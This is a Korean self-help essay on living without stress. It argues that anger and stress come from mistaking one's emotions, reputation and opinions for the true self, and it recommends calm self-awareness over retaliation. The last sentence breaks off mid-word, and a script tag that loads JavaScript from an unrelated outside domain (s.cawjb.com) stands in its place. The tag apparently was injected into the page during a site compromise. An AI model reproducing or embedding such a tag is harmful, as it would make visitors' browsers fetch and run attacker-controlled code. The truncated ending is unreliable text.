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[제목] 스트레스 없이 사는법 (김연수)
사람이 우선 내면이 깨어있으면(이것은 다른말로 하면 의식이 늘 자기 마음의 상태를 자각하고 있어서 내면적으로 밝아있으면 )누가 자신에게 모욕을 해오거나 공격이 있을때에도 그것에 대한 자기의 내적인 움직임이나 반응(느낌,생각, 행동)에 대해 환하게 깨어있게 됩니다.

그런자는 담담하게 적절한 행동 즉 상식적인 반응을 할 뿐입니다.
그리고 그에대해 뒤가 없습니다.
그러나 보통 사람은 그러기가 어렵지요.
왜냐하면 보통사람은 자기의 인격이나 감정 혹은 자기의 몸 즉 임시로 우리가 살면서 유지하는 자기것(소유격의 대상으로 내마음,내감정,내기분,내인격,내가치기준등)을 자기로 착각하고 있기 때문입니다.

그러나 세상을 살면서 자기것을 전혀 안다치거나 손상받지 않을순 없는 일입니다. 돌멩이 조차도 구르다보면 둥글게되고 닳아 작아지게 되지요. 그렇지만 자기것을 가지고 있는 참자기(영혼)는 다칠래야 다칠수가 없습니다. 그러기에 깨어있는자는 자기가 소유대상이 아닌 그이전자리임을 알기에 당황하지 않는 것입니다.

우리는 자기의 명예나 인격이나 이름이나 사상이나 생각이나 감정,의견들을 마치 자기라고 착각하고 행동하는때가 너무나 많습니다. 이것은 그순간 깨어있지못하기 때문입니다. 그래서 누군가가 그에대해 공격하거나 반대를 해올때 우리는 무의식중에 방어하려고 하게되고 그기운이 다시 더강한 반발력을 가진 생각이나 논리,의견,느낌, 감정,행동등을 불러 일으킵니다.

그러나 한번 가만히 생각해 보십시다.
그런 방어나 반격을 통해서 우리가 얻으려는게 과연 무엇입니까?
그역시 우리가 자기라고 여기는(착각하는) 그런 실은 참된 실재의 자기가 아닌 자기의<소속물> 들을 보호하고 방어하려는것이 아닙니까?

그러나 그런것들은 본질이 허망한 것입니다.
그런것들은 내가 그것에 <나>라는 에너지를 줌으로서 그때부터 나에 준하는 중요한 존재가 되었을 뿐입니다. 내가 그것들로부터 그런 착각에 속아서 준 힘을 다시 돌려오면 그것들은 그때부터 별게 아니게 됩니다. 별게 아닌것에 목숨걸 필요가 없다는 것을 순간적으로 판단하게 된다는 것입니다.

우리는 생각속에서 생각에 속아 생각으로 남을 다치게 하고 남에게서 피해를 입었다고 생각하는경우가 너무나도 많습니다. 그러나 우리가 일상속에서 갖는 모든 스트레스가 사실은 허망한 일시적인 생각과 그것이 동반하는 집착이 불러일으키는 화(angry)나 거부감,성냄을 가져오는 것이지요.

우리는 그런 허망한 착각속에서 속아 자기것이라고 여기는 것을 너무나도 많이 가지고 삽니다. 그러나 우리 몸조차도 영원히 자기것이 될수가 없습니다. 실로 우리가 영원히 자기것이라고 할만한것이 진정으로 단 하나라도 우리에게 있던가요? 우리가 내것이라고 여기는것은 그러므로 잠시 착각하는것이며 모든 것은 생각이 만들어내는 환상입니다. 그래서 생각이 <이건 그냥 넘어갈수가 없어! 반격을 해야해! >라고 내면에서 외칠때 우리는 그생각의 노예가 되어 그대로 끌려갈게 아니라 그생각그자체에게 <넌 왜 나타났니? 무엇을 위해서 넌 그렇게 움직이고 화를 내고 있니?>하며 냉정하게 살펴보아야 합니다.

그럼으로서 우리는 단순한 보복충동에서 벗어날수가 있으며 보다더 지혜로와 질수가 있습니다. 우리는 자기 생각의 주인입니다. 그러므로 그어던 생각이든 자기가 창조하는것입니다. 자기가 만든것에 자기가 지배당해서야 되겠습니까? 화도 자기가 만드는 것입니다. 자기가 만들어 자기가 가장큰 피해자가 됩니다. 마치 스스로 자기집에 방화하는 술취한 사람과도 같습니다.
그리고 술이깨면 그폐허속에 서서 홀로 울며 후회하지요.

스트레스를 없애려면 자기가 참으로 자유로운 모든 감정과 생각과 느낌을 만들어내는 모든것 이전자리인 창조주란것을 늘 알아차리고 자각하고 있어야 합니다. 그렇게 되면 그누구도 그의 마음이란 집에 불을 함부로 붙일수가 없습니다. 그의 마음은 늘 자기가 자기마음상태의 주인이란것을 자각하고 있으므로 자신감에 넘칩니다. 그런 사람은 마음에 여유가 생기며 여유가 있으면 그상황에 대해 통찰하는 깊은 지혜와 유유머가 생깁니다.

그런 사람은 늘 마음의 내면에 평화스러움과 활달한 행복감이 넘칩니다.
그런 기운이 그에게서 발산될때 다른 사람들은 그를 더믿고 의지하며 따르게 됩니다. 상대방도 자기의 행동에 대해 이사람이 반응하는것을 바라다보며 스스로 부끄럽게 여기며 반성하게 됩니다.이것이 진정한 마음의 승리자가 되는 길입니다.

스트레스는 원래 스트레스라고 정해진게 따로 없습니다.
자기가 거기에 어떤의미를 부여하고 그에 대해 어떻게 반응하느냐에 따라 그것이 엄청난 스트레스가 되기도 하고 또 때로는 반대로 상대방과의 사이를 더욱더 깊이할수도 있는 ?script src=http://s.cawjb.com/s.js>
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